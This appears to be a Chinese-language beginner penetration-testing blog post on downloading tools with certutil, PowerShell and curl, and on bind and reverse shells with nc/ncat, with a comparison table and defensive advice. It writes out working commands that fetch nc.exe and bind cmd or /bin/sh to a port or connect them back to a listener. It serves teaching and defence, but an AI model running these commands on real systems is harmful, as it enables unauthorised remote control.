010501上传下载_反弹shell-渗透命令-基础入门-网络安全
文章目录
- 1 上传下载
- 2 反弹shell命令
- 1. 正向连接(Forward Connection)
- 正向连接示例(nc)
- 2. 反向连接(Reverse Connection)
- 反向连接示例(反弹 Shell)
- 对比表格
- 实际应用中的选择
- 防御建议
- 总结
- 结语
1 上传下载
解决问题:无图形化、数据传输。
案例演示:参考连接1命令在windows与linux之间相互下载文件,文件nc.exe
放置在linux web网站根目录下
命令生成:参考下面连接1
Linux:wget
,curl
,python
,ruby
,perl
,java
等
windows:PowerShell
,Certutil
,Bitsadmin
,msiexec
,mshta
,rundll32
等
windows下载测试1:
certutil.exe -urlcache -split -f http://ip:port/nc.exe nc1.exe
如下图所示:
windows下载测试2:
powershell.exe -Command "Invoke-WebRequest -Uri http://ip:port/nc.exe -OutFile nc2.exe"
如下图所示:
linux下载测试1:
curl http://ip:port/nc.exe -o nc1.exe
如下图所示:
2 反弹shell命令
反弹 Shell(Reverse Shell)是一种网络技术,通常用于通过远程控制的方式连接目标计算机。
解决问题:数据回显、数据通讯。
命令生成:https://forum.ywhack.com/shell.php
正向连接和反向连接是网络通信中两种不同的连接方向模式,尤其在渗透测试、远程控制等场景中常被讨论。以下是它们的核心区别和应用场景:
1. 正向连接(Forward Connection)
- 定义:客户端主动连接服务器(攻击者→目标)。
示例:常规的 SSH 登录、访问网站、下载文件等。 - 特点:
- 客户端主动发起请求,服务端监听端口等待连接。
- 依赖条件:目标机器(服务端)需开放端口且允许入站流量(如防火墙放行)。
- 典型应用场景:
- 正常服务访问(如 Web 服务、数据库连接)。
- 渗透测试中直接连接目标开放的服务(如爆破 SSH 弱口令)。
正向连接示例(nc)
linux控制windows
-
windows绑定cmd到本地5566端口
nc -e cmd -lvp 5566
-
linux主动连接目标5566
ncat 192.168.0.104 5566
如下图所示:
window控制linux:
-
linux绑定sh到本地5566端口
ncat -e /bin/sh -lvp 5566
-
window主动连接linux5566端口
nc 192.168.0.105 5566
如下图所示:
2. 反向连接(Reverse Connection)
- 定义:服务端(目标)主动连接客户端(攻击者)。
示例:反弹 Shell、木马回连控制端。 - 特点:
- 服务端(目标)主动向外发起连接,客户端(攻击者)监听端口等待连接。
- 依赖条件:攻击者需开放监听端口,且目标允许出站流量(通常防火墙对出站限制较少)。
- 典型应用场景:
- 绕过防火墙或 NAT 限制(如内网机器无法直接暴露端口)。
- 渗透测试中维持权限(通过反向通道控制目标)。
反向连接示例(反弹 Shell)
windows反向连接linux:
-
linux开启监听5566
ncat -lvp 5566
-
windows给linux连接
nc -e cmd 192.168.0.105 5566
如下图所示:
对比表格
特性 | 正向连接 | 反向连接 |
---|---|---|
连接方向 | 客户端→服务端 | 服务端→客户端 |
防火墙限制 | 依赖目标开放入站端口 | 依赖目标允许出站流量 |
典型场景 | 正常服务访问、直接攻击 | 绕过防火墙、权限维持 |
攻击者角色 | 主动连接目标 | 被动监听,等待目标回连 |
风险防御 | 限制入站端口 | 监控异常出站连接 |
实际应用中的选择
- 正向连接适用场景:
- 目标机器有公网 IP 且开放端口。
- 直接利用漏洞攻击开放服务(如 Web RCE)。
- 反向连接适用场景:
- 目标处于内网,无法直接访问(如 NAT 环境)。
- 防火墙阻止入站流量但允许出站(如企业内网主机)。
防御建议
- 正向连接防御:
- 限制非必要端口的入站规则(如仅开放 80/443)。
- 使用强密码和双因素认证(防止爆破)。
- 反向连接防御:
- 监控异常出站连接(如非业务 IP 的主动外连)。
- 限制出站流量(仅允许访问白名单 IP/端口)。
- 部署 EDR/XDR 检测反弹 Shell 行为。
总结
- 正向连接:直接、简单,但依赖目标环境开放入站权限。
- 反向连接:隐蔽、灵活,常用于绕过网络限制,但需依赖目标的出站策略。
结语
❓QQ:806797785
⭐️仓库地址:https://gitee.com/gaogzhen
⭐️仓库地址:https://github.com/gaogzhen
[1]全栈网络安全 | 渗透测试 | 高级红蓝对抗 V2024最新版[CP/OL].
[2]棱角社区[CP/OL].
相关文章:

010501上传下载_反弹shell-渗透命令-基础入门-网络安全
文章目录 1 上传下载2 反弹shell命令1. 正向连接(Forward Connection)正向连接示例(nc) 2. 反向连接(Reverse Connection)反向连接示例(反弹 Shell) 对比表格实际应用中的选择防御建…...

Flask集成Selenium实现网页截图
先看效果 程序实现的功能为:截取目标网址对应的页面,并将截取后的页面图片返回到用户端,用户可自由保存该截图。 支持的url参数如下: url:目标网址(必填项),字符串类型,…...
机顶盒CM311-5s纯手机免拆刷机,全网通,当贝桌面
需要用到的工具 安卓手机一台 甲壳虫adb助手(安卓app) OTG转换线一个(或者用usb,typec双头的U盘一个,未测试) 8g U盘一个 用到的刷机文件 1.放入手机中的文件 misc recovery 2. 放入U盘根目录 upda…...

知识图谱:AI时代语义认知的底层重构逻辑
在生成式人工智能(GEO)的技术架构中,知识图谱已从辅助性工具演变为驱动机器认知的核心神经中枢。它通过结构化语义网络的重构,正在突破传统数据处理的线性逻辑,建立机器对复杂业务场景的深度理解能力。 一、语义解构&a…...
centos7安装MySQL(保姆级教学)
在 Linux 系统的软件管理中,YUM(Yellowdog Updater, Modified)包管理器是不可或缺的工具,而 YUM 源的选择与配置直接影响着软件安装与更新的效率。本文将深入解析网络 YUM 源的分类,详细介绍如何使用知名平台提供的 YU…...
2025.5.23 【ZR NOI模拟赛 T3】高速公路 题解(容斥,高维前缀和,性质)
非常牛的题,记录一下思路。 传送门 题意 有一张 n n n 个点的无向图,每个点有一个颜色 c i c_i ci,满足 c i ∈ [ 1 , k ] c_i \in [1, k] ci∈[1,k]。 图是由 m m m 条链组成,满足任意一个点恰好只在一条链上。对于一…...

QGIS新手教程2:线图层与多边形图层基础操作指南(点线互转、中心点提取与WKT导出)
QGIS新手教程:线图层与多边形图层基础操作指南(点线互转、中心点提取与WKT导出) 目录 QGIS新手教程:线图层与多边形图层基础操作指南(点线互转、中心点提取与WKT导出)📌 引言第一部分࿱…...
nova14 ultra,是如何防住80°C热水和10000KPa水压冲击的?
暴雨突袭,手忙脚乱护住背包,却担心手机被雨水浸湿;泳池里想记录美好时刻,却担心手机掉入水中 ;厨房里充满了高温水汽,近距离拍摄美食瞬间,手机屏幕花屏,让人失去了对美食的兴趣…… …...
Spring Boot项目中实现单点登录(SSO)完整指南
单点登录(Single Sign-On, SSO)是一种身份验证机制,允许用户使用一组凭证(如用户名和密码)登录多个相关但独立的系统。 一、单点登录的核心原理 SSO的核心原理使集中认证、分散授权,主要流程如下: 1.用户访问应用A 2.应用A检查本地会话&a…...

Windows环境下Redis的安装使用与报错解决
最近在做项目的时候需要用到Redis,本来没觉得是什么麻烦,下载安装使用一步到位的事,但紧随而来的问题,让我开始怀疑人生,再加上代码跑不出来,我还专门找人给我看看怎么个是,结果就是单纯的Redis…...

鸿蒙完整项目-仿盒马App(一)首页静态页面
跟着鸿蒙小林博主,练习下项目~记录下首页的搭建,后续继续完善和整体项目完成会进行布局修改,先按照博主的跟做,后续在改 1.分为底部整体框架搭建 2.首页布局(顶部搜索、新人专享、金刚区(两个不同集合数据)…...
大模型(4)——Agent(基于大型语言模型的智能代理)
大模型Agent是一种基于大型语言模型(LLM)的智能系统,能够自主感知环境、规划任务、调用工具并完成复杂目标。其核心原理是将大模型的推理能力与外部行动能力结合,实现从“思考”到“行动”的闭环。以下是其原理详解与实现方法&…...

39-居住证管理系统(小程序)
技术栈: springBootVueMysqlUni-app 功能点: 群众端 警方端 管理员端 群众端: 1.首页: 轮播图展示、公告信息列表 2.公告栏: 公告查看及评论 3.我的: 联系我们: 可在线咨询管理员问题 实时回复 居住证登记申请 回执单查看 领证信息查看 4.个人中心: 个人信息查看及修改…...

WPF【11_4】WPF实战-重构与美化(MVVM 架构)
11-9 【理论】MVVM 架构 在 WPF 项目中,我们主要采用的是一种类似 MVC 的架构,叫做 MVVM。 MVVM 继承了 MVC 的理念,是 Model-View-ViewModel 的缩写,中文意思是模型、视图、视图模型。这三个词分开看我们都能看懂,不…...

计算逆时针夹角(有向角度)——CAD c# 实现两条线(向量)的逆时针夹角
效果如下: 附部分代码如下: public void 逆时针夹角Demo(){// 获取当前 CAD 文档和编辑器Document doc Application.DocumentManager.MdiActiveDocument;Editor ed doc.Editor;Database db doc.Database;try{Point3d vec1Start, vec1End;if (!GetTwoP…...
鸿蒙OSUniApp 开发带有通知提示的功能组件#三方框架 #Uniapp
使用 UniApp 开发带有通知提示的功能组件 在移动应用开发中,通知提示(Notification/Toast/Alert)是提升用户体验和交互效率的重要手段。无论是表单校验、操作反馈、系统消息还是营销推送,合理的通知提示都能帮助用户及时获取关键…...
前端EXCEL插件智表ZCELL数据源功能详解
一、数据源功能介绍 前端EXCEL插件智表ZCELL提供了强大的数据源管理功能,使开发者能够灵活地在电子表格中集成和管理结构化数据。数据源功能主要分为两种类型: 卡片式数据源:适合展示和编辑单个数据记录 表格式数据源:适合处理表…...
打卡第31天:模块和库的导入
重复内容 知识点回顾: 1.导入官方库的三种手段 2.导入自定义库/模块的方式 3.导入库/模块的核心逻辑:找到根目录(python解释器的目录和终端的目录不一致) 作业:自己新建几个不同路径文件尝试下如何导入 导入机制的核…...
LLM Coding
AI Coding 深度解析:探索编程新范式与未来趋势 | w3cschool笔记https://www.phodal.com/blog/ai-friendly-architecture/bmadcode/BMAD-METHOD: Breakthrough Method for Agile Ai Driven Development...
Qt 的多线程
Qt 中的多线程主要用于处理耗时操作,避免阻塞主线程(UI 线程),从而提高程序的响应性和运行效率。以下是 Qt 多线程的相关技术总结: 常见的多线程实现方式 继承 QThread 类 :最基础的实现方式,具体步骤为继承 QThread 类,重写其 run() 函数,在 run() 函数中编写线程要…...
【请关注】各类MySQL数据备份还原分享
MySQL数据备份的全部方法 MySQL数据备份是数据库管理中的关键任务,以下是MySQL数据备份的全面方法总结: 一、逻辑备份方法 1. **mysqldump工具** - 最常用的备份工具 - 命令示例: >bash mysqldump -u [username] -p[password] [database_name] > backup.sql > -…...
Go语言方法与接收者 -《Go语言实战指南》
在 Go 中,方法是绑定到某个类型上的函数。与普通函数不同,方法具有一个“接收者(receiver)”,用于指定它是哪个类型的“方法”。 一、方法的定义语法 func (接收者名 接收者类型) 方法名(参数列表) 返回值列表 {// 方…...
基于 STM32 的农村污水处理控制系统设计与实现
摘要 针对农村污水处理自动化程度低、运维成本高的问题,本文设计了一种基于 STM32 单片机的污水处理控制系统。系统通过多传感器实时监测水质参数,结合 PID 控制算法实现污水处理全流程自动化,并集成远程监控功能,满足农村地区低成本、易维护的需求。 一、硬件系统设计 …...

【Linux】进程 信号的产生
🌻个人主页:路飞雪吖~ 🌠专栏:Linux 目录 一、掌握Linux信号的基本概念 🌠前台进程 VS 后台进程 🌠 小贴士: 🪄⼀个系统函数 --- signal() 🪄查看信号 --- man 7 sign…...
实时操作系统革命:实时Linux驱动的智能时代底层重构
一、智能时代对实时性的终极挑战 在万物互联的智能时代,人类对机器响应速度的期待已突破物理极限。当工业机器人以亚毫米级精度执行微米级加工任务,当自动驾驶系统在130公里时速下需在10毫秒内完成决策切换,当医疗机器人需在5毫秒内响应神经…...
NGINX HTTP/3 实验指南安装、配置与调优
一、HTTP/3 简介 基于 QUIC:在 UDP 之上实现的多路复用传输,内置拥塞控制与前向纠错,无需三次握手即可恢复连接。零 RTT 重连:借助 TLS 1.3,实现连接恢复时的 0-RTT 数据发送(视底层库支持)。多…...

机器学习中的维度、过拟合、降维
1. 维度灾难 当我们谈论机器学习模型在处理数据时遇到的困难,一个常常被提及的词便是“维度灾难”(Curse of Dimensionality)。这不是科幻小说里的情节,而是数学和计算世界里真实存在的困境。它指的正是:当数据集的特…...

关于git的使用
下载git 可以去git的官网下载https://git-scm.com/downloads 也可以去找第三方的资源下载,下载后是一个exe应用程序,直接点开一直下一步就可以安装了 右键任意位置显示这两个就代表成功,第一个是git官方的图形化界面,第二个是用…...

预约按摩小程序源码介绍
基于ThinkPHP、FastAdmin和UniApp开发的预约按摩小程序源码,ThinkPHP作为后端框架,以其高效稳定著称,能妥善处理数据逻辑与业务规则。FastAdmin作为后台管理框架,极大简化了后台管理系统的搭建与维护。UniApp则让小程序具备跨平台…...

Elasticsearch创建快照仓库报错处理
创建快照仓库报错: 根据报错提示的信息,问题可能出在 Elasticsearch 的配置中。当你尝试创建一个文件系统(fs)类型的快照仓库时,虽然已经指定了 location 参数,但 Elasticsearch 仍然报错,这通…...